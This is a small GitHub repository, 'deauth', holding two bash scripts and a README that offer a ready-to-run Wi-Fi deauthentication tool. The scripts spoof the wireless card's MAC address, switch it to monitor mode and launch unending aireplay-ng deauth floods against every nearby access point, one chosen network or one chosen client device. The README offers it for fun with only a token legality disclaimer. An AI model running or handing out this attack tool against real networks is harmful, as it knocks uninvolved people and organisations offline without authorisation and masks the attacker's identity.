├── LICENSE ├── README.md ├── _config.yml ├── deauth.sh └── deauthall.sh /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 EMLGaming 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # deauth [![Stars](https://img.shields.io/github/stars/EMLGaming/deauth.svg?style=social&label=Star)]() 2 | This is a fast script to deauth all around you, a network or a target with a built in oui lookup tool. 3 | 4 | **If you downloaded the script before monday 22th of may 2017, I would recommend to download it again because of all the changes.** 5 | 6 | How to run the script: 7 | 1. First you download the "deauth.sh" and "deauthall.sh" (can be done however you want gitclone, or just via site) 8 | 2. You give the script permission to run by typing: "chmod +x deauth.sh" and chmod +x deauthall.sh" 9 | 3. You run the script by typing `./deauth.sh` 10 | 4. Have fun 11 | 12 | *Disclaimer: this can be used illegally, but I don't condone that.* 13 | -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-hacker -------------------------------------------------------------------------------- /deauth.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # made by EMLGaming and thanks for using it 4 | # to run first type "chmod +x deauth.sh" and "chmod +x deauthall.sh" and then "./deauth.sh" 5 | # then you are all good to go and this script is made for moose 6 | # the script is not illegal but you can use it in a way that is illegal 7 | 8 | 9 | 10 | printf "\e[?25l" 11 | width=$(tput cols) 12 | height=$(tput lines) 13 | special=0 14 | info=' ' 15 | menuSelection=0 16 | quitting=0 17 | tput clear 18 | tput cup 0 0 19 | 20 | 21 | function drawMenu(){ 22 | echo "Made my EMLGaming" 23 | 24 | 25 | tput cup $((height/2-4)) $((width/2-10)) 26 | if [ $menuSelection -eq 0 ] 27 | then 28 | tput rev 29 | fi 30 | echo " DEAUTH ALL " 31 | tput sgr0 32 | tput cup $((height/2-2)) $((width/2-10)) 33 | if [ $menuSelection -eq 1 ] 34 | then 35 | tput rev 36 | fi 37 | echo " DEAUTH NETWORK " 38 | tput sgr0 39 | tput cup $((height/2)) $((width/2-10)) 40 | if [ $menuSelection -eq 2 ] 41 | then 42 | tput rev 43 | fi 44 | echo " DEAUTH TARGET " 45 | tput sgr0 46 | tput cup $((height/2+2)) $((width/2-10)) 47 | if [ $menuSelection -eq 3 ] 48 | then 49 | tput rev 50 | fi 51 | echo " " 52 | tput sgr0 53 | tput cup $((height/2+4)) $((width/2-10)) 54 | if [ $menuSelection -eq 4 ] 55 | then 56 | tput rev 57 | fi 58 | echo " QUIT " 59 | tput sgr0 60 | tput cup 0 0 61 | } 62 | function drawClear(){ 63 | tput cup 0 0 64 | for (( i=0; i<$height; i++ )) 65 | do 66 | printf "%0.s " $(seq 1 $width) 67 | done 68 | } 69 | function getInfo(){ 70 | tput rev 71 | tput cup $((height/2-2)) 0 72 | printf "%0.s " $(seq 1 $width) 73 | tput cup $((height/2+2)) 0 74 | printf "%0.s " $(seq 1 $width) 75 | tput sgr0 76 | tput cup $((height/2)) $((width/2-6)) 77 | printf ' ' 78 | tput cup $((height/2)) $((width/2-10)) 79 | printf 'ENTER TO CONTINUE' 80 | tput cup $((height/2)) $((width/2-3)) 81 | read 82 | clear 83 | ./deauthall.sh 84 | 85 | drawClear 86 | drawMenu 87 | } 88 | function update(){ 89 | 90 | if [ $menuSelection -eq -1 ] 91 | then 92 | 93 | echo " " 94 | else 95 | case $1 in 96 | UP) 97 | if [ $menuSelection -gt 0 ] 98 | then 99 | menuSelection=$((menuSelection-1)) 100 | else 101 | menuSelection=4 102 | fi ;; 103 | DOWN) 104 | if [ $menuSelection -lt 4 ] 105 | then 106 | menuSelection=$((menuSelection+1)) 107 | else 108 | menuSelection=0 109 | fi ;; 110 | SELECT) 111 | if [ $menuSelection -eq 0 ] 112 | then 113 | getInfo 114 | echo "LETS GO AND DEAUTH ALL" 115 | elif [ $menuSelection -eq 1 ] 116 | then 117 | echo -e "\e[36mlets deauth a network" 118 | clear 119 | iwconfig 120 | echo -e "\e[31mtype your wireless card name:\e[36m" 121 | read wire 122 | ifconfig $wire down 123 | macchanger -r $wire 124 | ifconfig $wire up 125 | clear 126 | 127 | 128 | echo "it is now scanning networks so this takes a little bit" 129 | sleep 5 130 | iw dev $wire scan | egrep "SSID|primary channel" 131 | echo -e "\e[31mtype the name of the network:\e[36m" 132 | read name 133 | echo -e "\e[31mand the channel:\e[36m" 134 | read channel 135 | airmon-ng start $wire 136 | airmon-ng check kill 137 | clear 138 | 139 | 140 | 141 | 142 | 143 | ifconfig $wire"mon" down 144 | iwconfig $wire"mon" channel $channel 145 | ifconfig $wire"mon" up 146 | 147 | echo "now you are deauthing the network if you want to stop just close the window" 148 | xterm -e "aireplay-ng -0 0 -e '$name' $wire""mon; read" 149 | 150 | 151 | exit 152 | 153 | elif [ $menuSelection -eq 2 ] 154 | then 155 | echo "deauth target" 156 | 157 | clear 158 | echo -e "\e[36m " 159 | iwconfig 160 | echo -e "\e[31mtype your wireless card name:\e[36m" 161 | read wire 162 | ifconfig $wire down 163 | macchanger -r $wire 164 | ifconfig $wire up 165 | clear 166 | 167 | 168 | echo "it is now scanning networks so this takes a little bit" 169 | sleep 5 170 | iw dev $wire scan | egrep "SSID|primary channel" 171 | echo -e "\e[31mtype the name of the network:\e[36m" 172 | read name 173 | echo -e "\e[31mand the channel:\e[36m" 174 | read channel 175 | airmon-ng start $wire 176 | airmon-ng check kill 177 | clear 178 | 179 | gnome-terminal -x sh -c "airodump-ng --essid '$name' -c $channel $wire""mon" 180 | 181 | 182 | echo -e "\e[31mWould you like to lookup a mac adress (1 or 2)" 183 | PS3="Type 1 or 2" 184 | options=("yes" "no") 185 | select opt in "${options[@]}" 186 | do 187 | case $opt in 188 | 189 | "yes") 190 | echo "" 191 | echo -e "type the first 6 characters of the station" 192 | echo -e "don't type the ':' do only xxxxxx" 193 | read oui 194 | grep -i $oui /usr/share/nmap/nmap-mac-prefixes 195 | ;; 196 | "no") 197 | break 198 | ;; 199 | *) echo invalid option;; 200 | esac 201 | done 202 | echo -e "station of the target" 203 | echo -e "but now make sure to type it like XX:00:XX:00:XX:00\e[36m" 204 | read station 205 | echo -e "when you are done just close the window" 206 | xterm -e "aireplay-ng -0 0 -e '$name' -c '$station' $wire""mon; read" 207 | 208 | exit 209 | elif [ $menuSelection -eq 3 ] 210 | then 211 | drawClear 212 | elif [ $menuSelection -eq 4 ] 213 | then 214 | exit 215 | fi ;; 216 | esac 217 | if [ $menuSelection -ne -1 ] 218 | then 219 | drawMenu 220 | fi 221 | fi 222 | } 223 | function cleanup(){ 224 | echo -e "\e[0mCleaning" 225 | printf "\e]0;Terminal\007" 226 | airmon-ng stop $wire"mon" 227 | ifconfig $wire up 228 | reset 229 | echo "thanks for using my script" 230 | sleep 1 231 | exit 255 232 | } 233 | 234 | 235 | 236 | drawMenu 237 | trap cleanup INT EXIT 238 | 239 | 240 | 241 | while : 242 | do 243 | read -rsn1 -d '' KEY 244 | 245 | 246 | if [ `printf '%d' "'$KEY"` == 27 ] 247 | then 248 | special=1 249 | elif [ `printf '%d' "'$KEY"` == 91 -a $special -eq 1 ] 250 | then 251 | special=2 252 | elif [ $special -eq 1 ] 253 | then 254 | special=0 255 | elif [ `printf '%d' "'$KEY"` == 0 ] 256 | then 257 | update SELECT 258 | fi 259 | if [ $special -eq 2 ] 260 | then 261 | case "$KEY" in 262 | A) update UP ; special=0 ;; 263 | B) update DOWN ; special=0 ;; 264 | C) update RIGHT ; special=0 ;; 265 | D) update LEFT ; special=0 ;; 266 | esac 267 | else 268 | case "$KEY" in 269 | q) 270 | if [ $quitting -eq 0 ] 271 | then 272 | tput cup $((height/2)) $((width/2-15)) 273 | tput rev 274 | printf " PRESS Q AGAIN TO QUIT " 275 | tput sgr0 276 | quitting=1 277 | elif [ $quitting -eq 1 ] 278 | then 279 | exit 280 | fi ;; 281 | esac 282 | if [ "$KEY" != "q" ] 283 | then 284 | if [ $quitting -eq 1 ] 285 | then 286 | drawClear 287 | fi 288 | quitting=0 289 | fi 290 | fi 291 | done 292 | 293 | -------------------------------------------------------------------------------- /deauthall.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | function cleanup() 4 | { 5 | 6 | clear 7 | echo -e "getting out of monitor mode" 8 | airmon-ng stop $wire"mon" 9 | sleep 2 10 | ifconfig $wire up 11 | clear 12 | echo "thanks for using my script" 13 | } 14 | 15 | echo -e "\e[36m " 16 | iwconfig 17 | echo -e "\e[31mtype the name of your wireless card\e[36m" 18 | read wire 19 | 20 | ifconfig $wire down 21 | macchanger -r $wire 22 | ifconfig $wire up 23 | 24 | echo "Scanning all the AP's and temporarily saving them" 25 | iwlist $wire scan > /tmp/scan.tmp 26 | cat /tmp/scan.tmp | egrep "Address|Channel:" | cut -d \- -f 2 | sed -e "s/Address: //" | sed -e "s/Channel://" > /tmp/APad.tmp 27 | 28 | echo "Your wireless card is now spoofing its mac address and getting in monitor mode" 29 | 30 | airmon-ng start wlan0 31 | airmon-ng check kill 32 | clear 33 | echo -e "\e[31mpress enter to deauth all" 34 | echo -e "when you are done press ctrl+c\e[36m" 35 | read 36 | trap cleanup EXIT 37 | cd ~ 38 | cd .. 39 | cd tmp 40 | paste APad.tmp > channels.tmp > all.tmp 41 | exec 5< /tmp/all.tmp 42 | 43 | while read line1 <&5 ; do 44 | read line2 <&5 45 | 46 | echo " It is now Deauthing $line1 on channel $line2 " 47 | echo 48 | 49 | xterm -e "airodump-ng --bssid $line1 -c $line2 $wire""mon" & 50 | sleep 4 51 | xterm -e "aireplay-ng -0 0 -a $line1 $wire""mon" & 52 | sleep 4 53 | 54 | done 55 | --------------------------------------------------------------------------------